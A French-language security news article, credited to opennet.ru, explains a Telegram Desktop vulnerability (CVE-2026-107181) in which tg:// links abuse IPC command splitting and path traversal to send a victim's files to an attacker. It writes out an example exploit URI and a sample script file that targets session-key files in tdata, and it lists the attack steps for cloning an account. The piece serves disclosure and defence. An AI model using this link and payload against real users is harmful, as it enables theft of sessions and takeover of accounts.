Des détails et une méthode d'exploitation de la vulnérabilité (CVE-2026-107181) dans Telegram Desktop, le client officiel de Telegram pour les systèmes de bureau, ont été révélés. Le problème résulte d'un traitement inadéquat des caractères de séparation non échappés dans les commandes IPC, ce qui permettait, en cliquant sur un lien envoyé, de transférer à l'attaquant n'importe quel fichier du système de la victime, y compris des fichiers contenant des clés de session pouvant être utilisés pour prendre le contrôle d'un compte Telegram. La vulnérabilité a été corrigée dans la version 7.2.9 de Telegram Desktop.
Lorsque vous cliquez sur des liens « tg:// », le système d'exploitation lance l'application Telegram Desktop associée à ce type de lien. Si une autre instance de cette application est déjà en cours d'exécution sur le système, le processus en cours lui envoie le lien via un socket à l'aide de l'interface IPC. Le problème est que si le caractère « ; » est spécifié parmi les paramètres du lien (par exemple, « tg://x?a=1;OPEN... »), le contenu se divise et les parties après le caractère « ; » sont traitées comme des commandes distinctes.
Pour exécuter l'attaque, la commande OPEN est utilisée avec le schéma URI « interpret: », conçu pour exécuter des scripts via IPC, qui étaient utilisés pour envoyer automatiquement de nouvelles versions dans les canaux. Le script est un fichier local prédéfini qui indique le fichier à envoyer dans le canal et l'identifiant du canal. Le chemin d'accès aux scripts est traité par rapport au sous-dossier système, mais en raison de l'absence de nettoyage de « ../ » dans les chemins de fichiers, l'attaquant peut accéder à des fichiers enregistrés en dehors du répertoire de base. Par exemple, il est possible de télécharger un fichier dans son groupe Telegram, puis de s'y référer comme script en préparant un lien de type :
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Étapes de l'attaque :
- L'attaquant ajoute la victime à son groupe (par défaut, l'ajout ne nécessite pas de confirmation de la personne ajoutée) et envoie dans ce groupe un fichier texte contenant le canal et le chemin du script. Telegram enregistrera ce fichier dans un sous-répertoire système prédéfini lorsque la victime rejoindra le groupe.
channel: 2005234537
file: tdata/D877F783D5D3EF8Cs - L'attaquant envoie à la victime un lien apparemment innocent vers son hôte (par exemple, « https://coolsite.org »), qui, lors de son ouverture, est redirigé vers le serveur l'attaquant, remplacé par un URI de type ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- Lorsque vous cliquez sur le lien, le navigateur appelle le gestionnaire URI «tg://», lançant la chaîne de commandes mentionnée ci-dessus, ce qui entraîne l'envoi de fichiers vers le canal de l'attaquant sans alerte ni demande de confirmation.
- Après avoir reçu des fichiers du sous-répertoire tdata avec les clés de chiffrement et d'autorisation, en l'absence d'un mot de passe local défini par l'utilisateur, l'attaquant peut cloner la session de connexion de la victime sur son appareil.
Source : opennet.ru
